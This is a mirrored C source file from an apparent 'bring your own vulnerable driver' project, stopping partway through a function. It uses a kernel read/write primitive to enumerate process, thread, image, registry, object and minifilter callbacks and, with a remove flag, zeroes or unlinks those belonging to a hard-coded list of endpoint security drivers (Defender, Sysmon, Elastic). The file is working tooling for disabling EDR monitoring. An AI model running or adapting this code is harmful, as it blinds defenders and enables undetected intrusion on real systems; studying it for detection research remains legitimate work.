mirror of
https://github.com/0xJs/BYOVD_read_write_primitive
synced 2026-06-06 15:04:29 +00:00
c53a0cbb69
Fix elastic driver name .sys
818 lines
32 KiB
C
818 lines
32 KiB
C
#include "common.h"
|
|
|
|
const char* driverNames[] = {
|
|
"WdFilter.sys", "MsSecFlt.sys", "elastic-endpoint-driver.sys", "SysmonDrv.sys"
|
|
};
|
|
|
|
const int numDrivers = sizeof(driverNames) / sizeof(driverNames[0]);
|
|
|
|
BOOL GetNtoskrnlBaseAddress(OUT LPVOID *pNtoskrnlBase) {
|
|
|
|
BOOL bSTATE = TRUE;
|
|
HMODULE hNTDLL = NULL; // Stores handle to ntdll.dll
|
|
NTSTATUS STATUS = NULL; // Stores the NTSTATUS
|
|
ULONG uReturn1 = NULL; // Size returned in bytes from NtQuerySystemInformation
|
|
ULONG uReturn2 = NULL; // Size returned in bytes from NtQuerySystemInformation
|
|
PSYSTEM_MODULE_INFORMATION pModuleInfo = NULL; // SYSTEM_MODULE_INFORMATION struct
|
|
|
|
// Get handle to ntdll.dll
|
|
// https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
|
|
hNTDLL = LoadLibraryA("ntdll.dll");
|
|
if (!hNTDLL) {
|
|
errorWin32("LoadLibraryA - Failed to get handle to ntdll.dll");
|
|
bSTATE = FALSE;
|
|
goto _cleanUp;
|
|
}
|
|
info_t("LoadLibraryA - Received handle to ntdll.dll 0x%p", hNTDLL);
|
|
|
|
// Resolve address of NtQuerySystemInformation
|
|
fnNtQuerySystemInformation NtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(hNTDLL, "NtQuerySystemInformation");
|
|
if (!NtQuerySystemInformation) {
|
|
errorWin32("GetProcAddress - Failed to address of NtQuerySystemInformation");
|
|
bSTATE = FALSE;
|
|
goto _cleanUp;
|
|
}
|
|
info_t("GetProcAddress - Received address to NtQuerySystemInformation 0x%p", NtQuerySystemInformation);
|
|
|
|
// Get the size of SYSTEM_MODULE_INFORMATION
|
|
// https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
|
|
STATUS = NtQuerySystemInformation(
|
|
SystemModuleInformation, // Returns a SystemModuleInformation stuct
|
|
NULL, // Can be null the first time calling
|
|
0, // Can be null the first time calling
|
|
&uReturn1 // Returned size
|
|
);
|
|
info_t("NtQuerySystemInformation - Received %lu bytes of SystemModuleInformation", uReturn1);
|
|
|
|
// Allocate memory for SYSTEM_MODULE_INFORMATION
|
|
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(uReturn1);
|
|
if (!pModuleInfo) {
|
|
error("malloc - Failed to allocate memory");
|
|
bSTATE = FALSE;
|
|
goto _cleanUp;
|
|
}
|
|
info_t("Malloc - Allocated %lu bytes of memory at 0x%p", uReturn1, pModuleInfo);
|
|
|
|
// Query the SYSTEM_MODULE_INFORMATION
|
|
// https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
|
|
STATUS = NtQuerySystemInformation(
|
|
SystemModuleInformation, // Returns a SystemModuleInformation stuct
|
|
pModuleInfo, // Pointer to SYSTEM_CODEINTEGRITY_INFORMATION struct
|
|
uReturn1, // Size of the SYSTEM_CODEINTEGRITY_INFORMATION struct
|
|
&uReturn2 // Returned size
|
|
);
|
|
if (!NT_SUCCESS(STATUS)) {
|
|
errorNT("NtQuerySystemInformation failed", STATUS);
|
|
bSTATE = FALSE;
|
|
goto _cleanUp;
|
|
}
|
|
info_t("NtQuerySystemInformation - Received %lu bytes of SystemModuleInformation saved at 0x%p", uReturn2, pModuleInfo);
|
|
|
|
// The first module in the list is typically ntoskrnl.exe
|
|
*pNtoskrnlBase = pModuleInfo->Modules[0].ImageBase;
|
|
|
|
_cleanUp:
|
|
|
|
if (pModuleInfo) {
|
|
free(pModuleInfo);
|
|
}
|
|
|
|
return bSTATE;
|
|
|
|
}
|
|
|
|
// List and sort all kernel drivers, used to check if kernel callback address is in their address space, outputs a pointer to list of kernel drivers, 8 bytes each.
|
|
BOOL ListAndSortKernelDrivers(OUT LPVOID* ppDrivers, OUT DWORD* pdwDriverCount) {
|
|
|
|
BOOL bSTATE = TRUE;
|
|
LPVOID* pDrivers = NULL; // Allocated buffer to hold driver base addresses
|
|
DWORD cbNeeded = 0; // Bytes needed to hold driver list
|
|
DWORD dwCount = 0; // Number of drivers found
|
|
LPVOID lpTemp = NULL; // Temporary pointer for sorting
|
|
CHAR szDriverName[MAX_PATH] = { 0 }; // Buffer for driver names
|
|
|
|
// Query the required size
|
|
if (!EnumDeviceDrivers(NULL, 0, &cbNeeded)) {
|
|
error("EnumDeviceDrivers - Failed to query required buffer size");
|
|
bSTATE = FALSE;
|
|
goto _cleanUp;
|
|
}
|
|
|
|
// Allocate required memory
|
|
pDrivers = (LPVOID*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbNeeded);
|
|
if (!pDrivers) {
|
|
error("HeapAlloc - Failed to allocate memory for driver list");
|
|
bSTATE = FALSE;
|
|
goto _cleanUp;
|
|
}
|
|
|
|
// Retrieve driver list
|
|
if (!EnumDeviceDrivers(pDrivers, cbNeeded, &cbNeeded)) {
|
|
error("EnumDeviceDrivers - Failed to enumerate drivers");
|
|
bSTATE = FALSE;
|
|
goto _cleanUp;
|
|
}
|
|
|
|
dwCount = cbNeeded / sizeof(LPVOID);
|
|
|
|
// Detect kernel drivers addresses and sort the list
|
|
for (DWORD i = 0; i < dwCount; i++) {
|
|
GetDeviceDriverBaseNameA(pDrivers[i], szDriverName, sizeof(szDriverName));
|
|
BYTE bFirstByte = ((DWORD64)(pDrivers[i]) >> 56);
|
|
if (bFirstByte == 0xFF) {
|
|
//info_t("\tDriver[%lu] Base: 0x%p Name: %s", i, pDrivers[i], szDriverName);
|
|
for (DWORD j = 0; j < dwCount - 1; j++) {
|
|
for (DWORD k = j + 1; k < dwCount; k++) {
|
|
if (pDrivers[j] > pDrivers[k]) {
|
|
lpTemp = pDrivers[j];
|
|
pDrivers[j] = pDrivers[k];
|
|
pDrivers[k] = lpTemp;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
//info_t("\nPrinting memory ranges for each kernel driver");
|
|
//// Print loaded driver memory ranges
|
|
//for (DWORD i = 0; i < dwCount - 1; i++) {
|
|
// DWORD64 dwStartAddr = (DWORD64)pDrivers[i]; // Start address of current driver
|
|
// DWORD64 dwEndAddr = (DWORD64)pDrivers[i + 1]; // Start address of next driver (marks end of current)
|
|
//
|
|
// // https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getdevicedriverbasenamea
|
|
// CHAR szDriverName[MAX_PATH] = { 0 };
|
|
// GetDeviceDriverBaseNameA((LPVOID)dwStartAddr, szDriverName, sizeof(szDriverName));
|
|
//
|
|
// info_t("\tDriver %03d: %-25s 0x%016llx - 0x%016llx", i, szDriverName, dwStartAddr, dwEndAddr);
|
|
//}
|
|
|
|
*ppDrivers = pDrivers;
|
|
*pdwDriverCount = dwCount;
|
|
|
|
_cleanUp:
|
|
|
|
if (!bSTATE && pDrivers) {
|
|
HeapFree(GetProcessHeap(), 0, pDrivers);
|
|
}
|
|
|
|
return bSTATE;
|
|
}
|
|
|
|
// Checks whether a given driver name matches a known EDR-related driver
|
|
BOOL isDriverListed(IN LPSTR lpstrDriverName) {
|
|
|
|
BOOL bSTATE = FALSE;
|
|
|
|
for (int i = 0; i < numDrivers; i++) {
|
|
|
|
// Case-insensitive string comparison
|
|
// https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/stricmp-stricmp-l-wcsicmp-wcsicmp-l?view=msvc-170
|
|
if (_stricmp(driverNames[i], lpstrDriverName) == 0) {
|
|
bSTATE = TRUE;
|
|
break;
|
|
}
|
|
}
|
|
|
|
return bSTATE;
|
|
}
|
|
|
|
// List or remove kernel callback arrays, used for process, thread and image kernel callbacks
|
|
BOOL ListOrRemoveKCArray(IN HANDLE hDevice, IN LPSTR lpstrCallbackType, IN DWORD64 callbackArrayAddress, IN LPVOID pDrivers, IN DWORD dwDriverCount, IN BOOL bRemove) {
|
|
|
|
BOOL bSTATE = TRUE;
|
|
HANDLE hOutput = NULL; // Handle to standard output
|
|
PVOID* lpDrivers = NULL; // Pointer to loaded driver base addresses
|
|
DWORD64 dwNextAddr = 0; // Current callback address
|
|
DWORD64 dwCallbackPtr = 0; // Raw pointer read from callback array
|
|
DWORD64 dwCallbackAligned = 0; // Aligned pointer to EX_CALLBACK_ROUTINE_BLOCK
|
|
DWORD64 dwCallbackFunc = 0; // Actual function pointer inside the structure
|
|
CHAR szDeviceName[MAX_PATH] = { 0 }; // Buffer to hold driver base name
|
|
DWORD64 dwDriverBase = 0; // Base address of current driver
|
|
|
|
// Get handle to standard output
|
|
// https://learn.microsoft.com/en-us/windows/console/getstdhandle
|
|
hOutput = GetStdHandle(STD_OUTPUT_HANDLE);
|
|
|
|
if (bRemove) {
|
|
info_t("---------- Listing and removing %s Kernel Callbacks ----------", lpstrCallbackType);
|
|
}
|
|
else {
|
|
info_t("---------- Listing %s Kernel Callbacks ----------", lpstrCallbackType);
|
|
}
|
|
|
|
// Assign input driver pointer
|
|
lpDrivers = (PVOID*)pDrivers;
|
|
|
|
// Iterate over the callback array
|
|
for (BYTE i = 0; i < PSP_MAX_CALLBACKS; i++) {
|
|
|
|
// Calc the address of the next callback pointer
|
|
dwNextAddr = callbackArrayAddress + i * 0x8;
|
|
|
|
// Read the pointer from the callback array
|
|
dwCallbackPtr = ReadMemoryDWORD64(hDevice, dwNextAddr);
|
|
|
|
// If pointer is null, then skip
|
|
if (dwCallbackPtr == 0) {
|
|
//info_t("Slot %02d - Empty (NULL)", i);
|
|
continue;
|
|
}
|
|
|
|
// Allign the pointer
|
|
dwCallbackAligned = ((dwCallbackPtr >> 4) << 4);
|
|
|
|
// Read the function pointer from the offset +0x8
|
|
dwCallbackFunc = ReadMemoryDWORD64(hDevice, dwCallbackAligned + 0x8);
|
|
|
|
// Match against known EDR driver names
|
|
for (DWORD j = 0; j < dwDriverCount - 1; j++) {
|
|
|
|
dwDriverBase = (DWORD64)lpDrivers[j];
|
|
|
|
// Check if function pointer is located within the address range of a known driver module
|
|
// Curent driver vs next driver
|
|
if (dwCallbackFunc > dwDriverBase && dwCallbackFunc < (DWORD64)lpDrivers[j + 1]) {
|
|
|
|
// https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getdevicedriverbasenamea
|
|
GetDeviceDriverBaseNameA((LPVOID)dwDriverBase, szDeviceName, sizeof(szDeviceName));
|
|
|
|
if (isDriverListed(szDeviceName)) {
|
|
// If its EDR driver make it red
|
|
SetConsoleTextAttribute(hOutput, FOREGROUND_RED);
|
|
|
|
// Remove (nullify) the callback pointer if remove is selected
|
|
if (bRemove == TRUE) {
|
|
WriteMemoryDWORD64(hDevice, dwNextAddr, 0x0000000000000000);
|
|
}
|
|
}
|
|
|
|
info_t("[%llx]: %llx -> [%s + %llx]", dwNextAddr, dwCallbackFunc, szDeviceName, dwCallbackFunc - dwDriverBase);
|
|
|
|
// Reset the color
|
|
SetConsoleTextAttribute(hOutput, 7);
|
|
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
if (bRemove == TRUE) {
|
|
info_t("---------- %s Kernel Callbacks of EDR's zeroed out ----------", lpstrCallbackType);
|
|
}
|
|
|
|
return bSTATE;
|
|
|
|
}
|
|
|
|
// List or remove kernel callback double linked list, used for registry
|
|
BOOL ListOrRemoveKCRegistryOperations(IN HANDLE hDevice, IN LPSTR lpstrCallbackType, IN DWORD64 dwCallbackListHead, IN LPVOID pDrivers, IN DWORD dwDriverCount, IN BOOL bRemove) {
|
|
|
|
BOOL bSTATE = TRUE;
|
|
HANDLE hOutput = NULL; // Handle to standard output
|
|
PVOID* lpDrivers = NULL; // Pointer to loaded driver base addresses
|
|
DWORD64 dwCurrentEntry = 0; // Enumerated entry in the double linked list
|
|
DWORD64 dwCallbackFunc = 0; // Operation registry callback pointer
|
|
CHAR szDeviceName[MAX_PATH] = { 0 }; // Driver base name buffer
|
|
DWORD64 dwDriverBase = 0; // Base address of currently matched driver
|
|
|
|
// https://learn.microsoft.com/en-us/windows/console/getstdhandle
|
|
hOutput = GetStdHandle(STD_OUTPUT_HANDLE);
|
|
|
|
if (bRemove) {
|
|
info_t("---------- Listing and removing %s Kernel Callbacks ----------", lpstrCallbackType);
|
|
}
|
|
else {
|
|
info_t("---------- Listing %s Kernel Callbacks ----------", lpstrCallbackType);
|
|
}
|
|
|
|
lpDrivers = (PVOID*)pDrivers;
|
|
|
|
// Read the FLINK from the head
|
|
dwCurrentEntry = ReadMemoryDWORD64(hDevice, dwCallbackListHead);
|
|
|
|
while (dwCurrentEntry != dwCallbackListHead && dwCurrentEntry != 0) {
|
|
|
|
// Read callback pointer
|
|
dwCallbackFunc = ReadMemoryDWORD64(hDevice, dwCurrentEntry + 0x28); // Operation callback
|
|
|
|
// Match PRE and POST callback to known drivers
|
|
for (DWORD j = 0; j < dwDriverCount - 1; j++) {
|
|
|
|
dwDriverBase = (DWORD64)lpDrivers[j];
|
|
|
|
// Check if PRE callback lies within known driver memory range
|
|
if (dwCallbackFunc > dwDriverBase && dwCallbackFunc < (DWORD64)lpDrivers[j + 1]) {
|
|
|
|
// https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getdevicedriverbasenamea
|
|
GetDeviceDriverBaseNameA((LPVOID)dwDriverBase, szDeviceName, sizeof(szDeviceName));
|
|
|
|
if (isDriverListed(szDeviceName)) {
|
|
SetConsoleTextAttribute(hOutput, FOREGROUND_RED);
|
|
|
|
// Cant overwrite these values due to patchguard
|
|
//if (bRemove == TRUE) {
|
|
// WriteMemoryDWORD64(hDevice, dwCurrentEntry + 0x20, 0x0000000000000000);
|
|
//}
|
|
}
|
|
|
|
info_t("[%llx]: %llx -> [%s + %llx]", dwCurrentEntry, dwCallbackFunc, szDeviceName, dwCallbackFunc - dwDriverBase);
|
|
SetConsoleTextAttribute(hOutput, 7);
|
|
break;
|
|
}
|
|
}
|
|
|
|
// Move to next LIST_ENTRY
|
|
dwCurrentEntry = ReadMemoryDWORD64(hDevice, dwCurrentEntry);
|
|
}
|
|
|
|
// Make the flink and blink point to dwCallbackListHead (itself)
|
|
if (bRemove == TRUE) {
|
|
|
|
// Flink
|
|
WriteMemoryDWORD64(hDevice, dwCallbackListHead, dwCallbackListHead);
|
|
|
|
// Blink
|
|
WriteMemoryDWORD64(hDevice, dwCallbackListHead + 0x8, dwCallbackListHead);
|
|
|
|
info_t("---------- %s Kernel Callbacks delinked list ----------", lpstrCallbackType);
|
|
|
|
}
|
|
|
|
return bSTATE;
|
|
}
|
|
|
|
// List or remove kernel callback double linked list, used for object operations
|
|
BOOL ListOrRemoveKCObjectOperations(IN HANDLE hDevice, IN LPSTR lpstrCallbackType, IN DWORD64 dwAddress, IN LPVOID pDrivers, IN DWORD dwDriverCount, IN BOOL bRemove) {
|
|
|
|
BOOL bSTATE = TRUE;
|
|
HANDLE hOutput = NULL; // Handle to standard output
|
|
PVOID* lpDrivers = NULL; // Pointer to loaded driver base addresses
|
|
DWORD64 dwObjectType = 0; // Pointer to the object type
|
|
DWORD64 dwListHead = 0; // Stores the listhead
|
|
DWORD64 dwCurrentEntry = 0; // Enumerated entry in the double linked list
|
|
DWORD64 dwPreCallbackFunc = 0; // Pre-operation registry callback pointer
|
|
DWORD64 dwPostCallbackFunc = 0; // Post-operation registry callback pointer
|
|
CHAR szDeviceName[MAX_PATH] = { 0 }; // Driver base name buffer
|
|
DWORD64 dwDriverBase = 0; // Base address of currently matched driver
|
|
BOOL bPreMatched = FALSE; // Matched PRE callback with a known driver
|
|
BOOL bPostMatched = FALSE; // Matched POST callback with a known driver
|
|
|
|
// https://learn.microsoft.com/en-us/windows/console/getstdhandle
|
|
hOutput = GetStdHandle(STD_OUTPUT_HANDLE);
|
|
|
|
if (bRemove) {
|
|
info_t("---------- Listing and removing %s Kernel Callbacks ----------", lpstrCallbackType);
|
|
}
|
|
else {
|
|
info_t("---------- Listing %s Kernel Callbacks ----------", lpstrCallbackType);
|
|
}
|
|
|
|
lpDrivers = (PVOID*)pDrivers;
|
|
|
|
// Read memory at PsProcessType (or thread)
|
|
dwObjectType = ReadMemoryDWORD64(hDevice, dwAddress);
|
|
|
|
// Address of the actual list head
|
|
dwListHead = dwObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
|
|
|
|
// Read the FLINK from the head
|
|
dwCurrentEntry = ReadMemoryDWORD64(hDevice, dwListHead);
|
|
|
|
while (dwCurrentEntry != dwListHead && dwCurrentEntry != 0) {
|
|
|
|
// Read both callback function pointers (0x28 and 0x30 for W11) Might be 0x20 and 0x28 for older versions
|
|
dwPreCallbackFunc = ReadMemoryDWORD64(hDevice, dwCurrentEntry + 0x28); // Pre-operation callback
|
|
dwPostCallbackFunc = ReadMemoryDWORD64(hDevice, dwCurrentEntry + 0x30); // Post-operation callback
|
|
|
|
info_t("Callback Entry %llx", dwCurrentEntry);
|
|
|
|
// Reset matched flags
|
|
bPreMatched = FALSE;
|
|
bPostMatched = FALSE;
|
|
|
|
// Match PRE and POST callback to known drivers
|
|
for (DWORD j = 0; j < dwDriverCount - 1; j++) {
|
|
|
|
dwDriverBase = (DWORD64)lpDrivers[j];
|
|
|
|
// Check if PRE callback lies within known driver memory range
|
|
if (dwPreCallbackFunc > dwDriverBase && dwPreCallbackFunc < (DWORD64)lpDrivers[j + 1]) {
|
|
|
|
// https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getdevicedriverbasenamea
|
|
GetDeviceDriverBaseNameA((LPVOID)dwDriverBase, szDeviceName, sizeof(szDeviceName));
|
|
|
|
if (isDriverListed(szDeviceName)) {
|
|
SetConsoleTextAttribute(hOutput, FOREGROUND_RED);
|
|
|
|
// Cant overwrite these values due to patchguard
|
|
//if (bRemove == TRUE) {
|
|
// WriteMemoryDWORD64(hDevice, dwCurrentEntry + 0x20, 0x0000000000000000);
|
|
//}
|
|
}
|
|
|
|
info_t("\t[PRE] %llx -> [%s + %llx]", dwPreCallbackFunc, szDeviceName, dwPreCallbackFunc - dwDriverBase);
|
|
SetConsoleTextAttribute(hOutput, 7);
|
|
bPreMatched = TRUE;
|
|
break;
|
|
}
|
|
}
|
|
|
|
// Print unresolved PRE if not in known kernel module
|
|
if (!bPreMatched) {
|
|
info_t("\t[PRE] %llx", dwPreCallbackFunc);
|
|
}
|
|
|
|
for (DWORD j = 0; j < dwDriverCount - 1; j++) {
|
|
|
|
dwDriverBase = (DWORD64)lpDrivers[j];
|
|
|
|
// Check if POST callback lies within known driver memory range
|
|
if (dwPostCallbackFunc > dwDriverBase && dwPostCallbackFunc < (DWORD64)lpDrivers[j + 1]) {
|
|
|
|
// https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getdevicedriverbasenamea
|
|
GetDeviceDriverBaseNameA((LPVOID)dwDriverBase, szDeviceName, sizeof(szDeviceName));
|
|
|
|
if (isDriverListed(szDeviceName)) {
|
|
SetConsoleTextAttribute(hOutput, FOREGROUND_RED);
|
|
|
|
// Cant overwrite these values due to patchguard
|
|
//if (bRemove == TRUE) {
|
|
//WriteMemoryDWORD64(hDevice, dwCurrentEntry + 0x28, 0x0000000000000000);
|
|
//}
|
|
}
|
|
|
|
info_t("\t[POST] %llx -> [%s + %llx]", dwPostCallbackFunc, szDeviceName, dwPostCallbackFunc - dwDriverBase);
|
|
SetConsoleTextAttribute(hOutput, 7);
|
|
bPostMatched = TRUE;
|
|
break;
|
|
}
|
|
}
|
|
|
|
// Print unresolved POST if not in known kernel module
|
|
if (!bPostMatched) {
|
|
info_t("\t[POST] %llx", dwPostCallbackFunc);
|
|
}
|
|
|
|
// Move to next LIST_ENTRY
|
|
dwCurrentEntry = ReadMemoryDWORD64(hDevice, dwCurrentEntry);
|
|
}
|
|
|
|
// Make the flink and blink point to dwListHead (itself)
|
|
if (bRemove == TRUE) {
|
|
|
|
// Flink
|
|
WriteMemoryDWORD64(hDevice, dwListHead, dwListHead);
|
|
|
|
// Blink
|
|
WriteMemoryDWORD64(hDevice, dwListHead + 0x8, dwListHead);
|
|
|
|
info_t("---------- %s Kernel Callbacks delinked list ----------", lpstrCallbackType);
|
|
}
|
|
|
|
return bSTATE;
|
|
}
|
|
|
|
// List or remove kernel callback double linked list, used for object operations
|
|
BOOL ListOrRemoveMiniFiltersCallbacks(IN HANDLE hDevice, IN LPSTR lpstrCallbackType, IN DWORD64 dwAddress, IN LPVOID pDrivers, IN DWORD dwDriverCount, IN BOOL bRemove) {
|
|
|
|
BOOL bSTATE = TRUE;
|
|
HANDLE hOutput = NULL; // Handle to standard output
|
|
PVOID* lpDrivers = NULL; // Pointer to loaded driver base addresses
|
|
|
|
CHAR szDeviceName[MAX_PATH] = { 0 }; // Driver base name buffer
|
|
DWORD64 dwDriverBase = 0; // Base address of currently matched driver
|
|
|
|
// https://learn.microsoft.com/en-us/windows/console/getstdhandle
|
|
hOutput = GetStdHandle(STD_OUTPUT_HANDLE);
|
|
|
|
if (bRemove) {
|
|
info_t("---------- Listing and removing %s Kernel Callbacks ----------", lpstrCallbackType);
|
|
}
|
|
else {
|
|
info_t("---------- Listing %s Kernel Callbacks ----------", lpstrCallbackType);
|
|
}
|
|
|
|
lpDrivers = (PVOID*)pDrivers;
|
|
|
|
// Address of the FrameList LIST_ENTRY (rList) inside _FLT_RESOURCE_LIST_HEAD (FrameList) in the _GLOBALS struct
|
|
// x fltmgr!FltGlobals
|
|
// dt fltmgr!_GLOBALS fffff807`65c6d7c0
|
|
// +0x058 FrameList : _FLT_RESOURCE_LIST_HEAD
|
|
// dt fltmgr!_FLT_RESOURCE_LIST_HEAD fffff807`65c6d7c0+0x058
|
|
// +0x068 rList : _LIST_ENTRY [ 0xffffca04`cd54e018 - 0xffffca04`cd54e018 ]
|
|
// dt fltmgr!_LIST_ENTRY fffff807`65c6d7c0+0x058+0x68
|
|
// +0x000 Flink : 0xffffca04`cd54e018 _LIST_ENTRY[0xfffff807`65c6d880 - 0xfffff807`65c6d880]
|
|
DWORD64 dwFrameListHead = dwAddress + g_fltMgrOffsets.st._GLOBALS_FrameList + g_fltMgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
|
|
//printf("[DEBUG] dwFrameListHead %llx\n", dwFrameListHead);
|
|
|
|
// Read the flink from the head
|
|
// dps 0xfffff807`65c6d880 L1
|
|
// fffff807`65c6d880 ffffca04`cd54e018
|
|
DWORD64 dwCurrentFrameEntry = ReadMemoryDWORD64(hDevice, dwFrameListHead);
|
|
//printf("[DEBUG] dwCurrentFrameEntry %llx\n", dwCurrentFrameEntry);
|
|
|
|
// Loop over all instances (disks)
|
|
while (dwCurrentFrameEntry != dwFrameListHead && dwCurrentFrameEntry != 0) {
|
|
|
|
// Get the base address of the current frame
|
|
// dt fltmgr!_FLTP_FRAME Links
|
|
// +0x008 Links : _LIST_ENTRY
|
|
// dt fltmgr!_FLTP_FRAME ffffca04`cd54e018-0x008
|
|
DWORD64 dwCurrentFrameBase = dwCurrentFrameEntry - g_fltMgrOffsets.st._FLTP_FRAME_Links;
|
|
info_t("\t_FLTP_FRAME: %016llx", dwCurrentFrameBase);
|
|
|
|
// Enumerate the filters in this frame
|
|
// dt fltmgr!_FLTP_FRAME ffffca04`cd54e018-0x008
|
|
// +0x048 RegisteredFilters : _FLT_RESOURCE_LIST_HEAD
|
|
// dt fltmgr!_FLT_RESOURCE_LIST_HEAD ffffca04`cd54e018-0x008+0x048
|
|
// +0x068 rList : _LIST_ENTRY [ 0xffffca04`d269d020 - 0xffffca04`cd55e8b0 ]
|
|
DWORD64 dwFilterListHead = dwCurrentFrameBase + g_fltMgrOffsets.st._FLTP_FRAME_RegisteredFilters + g_fltMgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
|
|
//printf("[DEBUG] dwFilterListHead %llx\n", dwFilterListHead);
|
|
|
|
// Read the flink from the head
|
|
// dps ffffca04`cd54e018-0x008+0x048+0x068 L1
|
|
// fffca04`cd54e0c0 ffffca04`d269d020
|
|
DWORD64 dwCurrentFilterEntry = ReadMemoryDWORD64(hDevice, dwFilterListHead);
|
|
//printf("[DEBUG] dwCurrentFilterEntry %llx\n", dwCurrentFilterEntry);
|
|
|
|
// Loop over all the filters
|
|
while (dwCurrentFilterEntry != dwFilterListHead && dwCurrentFilterEntry != 0) {
|
|
|
|
// Get the current filter base address
|
|
// dt fltmgr!_FLT_OBJECT PrimaryLink
|
|
// + 0x010 PrimaryLink : _LIST_ENTRY
|
|
// dt fltmgr!_FLT_FILTER ffffca04`d269d020-0x010
|
|
DWORD64 dwCurrentFilterBase = dwCurrentFilterEntry - g_fltMgrOffsets.st._FLT_OBJECT_PrimaryLink;
|
|
//printf("[DEBUG] dwCurrentFilterBase %llx\n", dwCurrentFilterBase);
|
|
|
|
// _FLT_FILTER->DriverObject and DriverInit
|
|
// dt fltmgr!_FLT_FILTER ffffca04`d269d020-0x010
|
|
// +0x068 DriverObject : 0xffffca04`d0a74c70 _DRIVER_OBJECT
|
|
// dps ffffca04`d269d020-0x010+0x068 L1
|
|
// ffffca04`d269d078 ffffca04`d0a74c70
|
|
DWORD64 dwDriverObject = ReadMemoryDWORD64(hDevice, dwCurrentFilterBase + g_fltMgrOffsets.st._FLT_FILTER_DriverObject);
|
|
//printf("[DEBUG] dwDriverObject %llx\n", dwDriverObject);
|
|
|
|
// dt fltmgr!_DRIVER_OBJECT DriverInit
|
|
// +0x058 DriverInit : Ptr64 long
|
|
// dt fltmgr!_DRIVER_OBJECT ffffca04`d0a74c70+0x058
|
|
// dps ffffca04`d0a74c70+0x058 L1
|
|
DWORD64 dwDriverInit = ReadMemoryDWORD64(hDevice, dwDriverObject + g_fltMgrOffsets.st._DRIVER_OBJECT_DriverInit);
|
|
//printf("[DEBUG] dwDriverInit %llx\n", dwDriverInit);
|
|
|
|
BOOL bEDRDriver = FALSE;
|
|
|
|
for (DWORD j = 0; j < dwDriverCount - 1; j++) {
|
|
|
|
dwDriverBase = (DWORD64)lpDrivers[j];
|
|
|
|
// Check if dwDriverInit lies within known driver memory range
|
|
if (dwDriverInit > dwDriverBase && dwDriverInit < (DWORD64)lpDrivers[j + 1]) {
|
|
|
|
// https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getdevicedriverbasenamea
|
|
GetDeviceDriverBaseNameA((LPVOID)dwDriverBase, szDeviceName, sizeof(szDeviceName));
|
|
|
|
if (isDriverListed(szDeviceName)) {
|
|
SetConsoleTextAttribute(hOutput, FOREGROUND_RED);
|
|
bEDRDriver = TRUE;
|
|
}
|
|
|
|
info_t("\t\t_FLT_FILTER: %016llx [%s + 0x%llx]", dwCurrentFilterBase, szDeviceName, dwDriverInit - dwDriverBase);
|
|
SetConsoleTextAttribute(hOutput, 7);
|
|
break;
|
|
}
|
|
}
|
|
|
|
// If the driver is EDR related enumerate all the instances
|
|
if(bEDRDriver == TRUE) {
|
|
|
|
// Enumerate the instances in this filter
|
|
// dt fltmgr!_FLT_FILTER InstanceList
|
|
// +0x070 InstanceList : _FLT_RESOURCE_LIST_HEAD
|
|
// dt fltmgr!_FLT_RESOURCE_LIST_HEAD rList
|
|
// +0x068 rList : _LIST_ENTRY
|
|
DWORD64 dwInstanceListHead = dwCurrentFilterBase + g_fltMgrOffsets.st._FLT_FILTER_InstanceList + g_fltMgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
|
|
//printf("[DEBUG] dwInstanceListHead %llx\n", dwInstanceListHead);
|
|
|
|
// Get the current entry
|
|
// dps ffffca04cd56a560+0x070+0x068 L1
|
|
// ffffca04`cd56a638 ffffca04`cd842918
|
|
DWORD64 dwCurrentInstanceEntry = ReadMemoryDWORD64(hDevice, dwInstanceListHead);
|
|
//printf("[DEBUG] dwCurrentInstanceEntry %llx\n", dwCurrentInstanceEntry);
|
|
|
|
// Loop over all the instances
|
|
while (dwCurrentInstanceEntry != dwInstanceListHead && dwCurrentInstanceEntry != 0) {
|
|
|
|
// Get the current instance base
|
|
// dt fltmgr!_FLT_INSTANCE Filterlink
|
|
// +0x078 FilterLink : _LIST_ENTRY
|
|
// ffffca04`cd842918 - 0x078 = ffffca04cd8428a0
|
|
DWORD64 dwCurrentInstanceBase = dwCurrentInstanceEntry - g_fltMgrOffsets.st._FLT_INSTANCE_FilterLink;
|
|
info_t("\t\t\t_FLT_INSTANCE: %016llx", dwCurrentInstanceBase);
|
|
|
|
// Get the callback nodes
|
|
// dt fltmgr!_FLT_INSTANCE CallbackNodes
|
|
// +0x130 CallbackNodes : [50] Ptr64 _CALLBACK_NODE
|
|
// ffffca04cd8428a0 + 0x130 = ffffca04cd8429d0
|
|
DWORD64 dwCallbackNodesArray = dwCurrentInstanceBase + g_fltMgrOffsets.st._FLT_INSTANCE_CallbackNodes;
|
|
//printf("[DEBUG] dwCallbackNodesArray %llx\n", dwCallbackNodesArray);
|
|
|
|
DWORD dwNodesFound = 0;
|
|
|
|
for (int k = 0; k < 50; k++) {
|
|
|
|
// Read the callbacknode pointer
|
|
DWORD64 dwCallbackNode = ReadMemoryDWORD64(hDevice, dwCallbackNodesArray + (k * sizeof(PVOID)));
|
|
|
|
if (dwCallbackNode == 0) {
|
|
continue;
|
|
}
|
|
|
|
// Heuristic: ensure this node is still linked (sanity check)
|
|
// Blink->Flink == this && Flink->Blink == this
|
|
DWORD64 dwPrev = ReadMemoryDWORD64(hDevice, dwCallbackNode + offsetof(LIST_ENTRY, Blink));
|
|
